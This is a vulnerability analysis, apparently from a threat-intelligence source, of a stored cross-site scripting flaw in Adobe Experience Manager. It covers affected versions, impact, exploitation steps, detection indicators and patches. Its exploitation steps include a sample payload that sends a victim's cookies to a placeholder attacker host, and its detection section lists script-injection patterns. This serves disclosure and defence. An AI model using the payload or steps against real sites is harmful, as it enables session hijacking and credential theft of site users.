CVE-2025-47055: 
Adobe Experience Manager vulnerability analysis and mitigation

CVE-2025-47055 is a stored Cross-Site Scripting (XSS) vulnerability in Adobe Experience Manager (AEM) that allows a low-privileged attacker to inject malicious scripts into vulnerable form fields. Affected versions include AEM 6.5.22 and earlier (on-premises) and AEM Cloud Service versions prior to 2025.5.0. The vulnerability was published on June 10, 2025, with a patch made available via Adobe's security advisory. It carries a CVSS v3.1 base score of 5.4 (Medium) (Adobe Advisory, Feedly).

The vulnerability is classified as CWE-79 (Improper Neutralization of Input During Web Page Generation — Cross-site Scripting), specifically of the stored (persistent) variant. A low-privileged attacker can inject malicious JavaScript into vulnerable AEM form fields; the script is stored server-side and executes in any victim's browser when they navigate to the page containing the compromised field. Exploitation requires user interaction (a victim visiting the affected page) and low-level authenticated access to submit content, but no elevated privileges beyond a standard AEM user account (Adobe Advisory, Feedly).

Successful exploitation allows an attacker to execute arbitrary JavaScript in the context of a victim's browser session, potentially leading to session token theft, credential harvesting, unauthorized actions performed on behalf of the victim, and defacement of AEM-hosted content. The changed scope (S:C) in the CVSS vector indicates the impact extends beyond the attacker's own session to affect other users of the application. Availability is not directly impacted, but confidentiality and integrity of web application interactions are both at risk (Adobe Advisory, Feedly).

As of the time of disclosure, there is no public proof-of-concept exploit and no evidence of in-the-wild exploitation. The EPSS score is approximately 0.029% (0.000290), indicating a low probability of exploitation in the near term. The vulnerability has not been added to the CISA Known Exploited Vulnerabilities (KEV) catalog. No threat actor attribution has been reported (Feedly).

1. Reconnaissance: Identify an Adobe Experience Manager instance running version 6.5.22 or earlier, or AEM Cloud Service prior to 2025.5.0, using web fingerprinting tools or by inspecting HTTP response headers and login pages.
2. Obtain low-privileged access: Register or obtain credentials for a standard (non-admin) AEM user account, which is sufficient to submit content to form fields.
3. Identify vulnerable form fields: Browse AEM authoring or public-facing pages to locate form fields that accept and persist user input without adequate output encoding.
4. Inject malicious payload: Submit a stored XSS payload (e.g., <script>document.location='https://attacker.com/steal?c='+document.cookie</script>) into the vulnerable form field and save/submit the content.
5. Trigger execution: When a victim (e.g., an AEM administrator or site visitor) browses to the page containing the injected field, the malicious script executes in their browser, enabling session hijacking, credential theft, or other client-side attacks (Adobe Advisory, Feedly).

• Logs: AEM access logs showing POST requests to form submission endpoints containing script tags or encoded JavaScript payloads (e.g., %3Cscript%3E, javascript:, onerror=).
• File System / Content Repository: Unexpected JavaScript content stored within AEM JCR (Java Content Repository) nodes, particularly in form field properties or page content nodes.
• Network: Outbound HTTP requests from victim browsers to unknown external domains shortly after visiting AEM pages, potentially carrying cookie or session data as query parameters.
• Browser / Application: Unexpected redirects or pop-ups occurring when users navigate to specific AEM pages; CSP violation reports (if CSP is enabled) triggered by inline script execution.

Adobe has released patches addressing this vulnerability: upgrade to AEM 6.5.23.0 or later for on-premises deployments, or ensure AEM Cloud Service is updated to version 2025.5.0 or later. As interim mitigations, administrators should implement a strict Content Security Policy (CSP) to limit inline script execution, enforce rigorous input validation and output encoding on all form fields, and restrict AEM authoring access to trusted users only. Monitoring for suspicious script content in submitted form data is also recommended (Adobe Advisory, Feedly).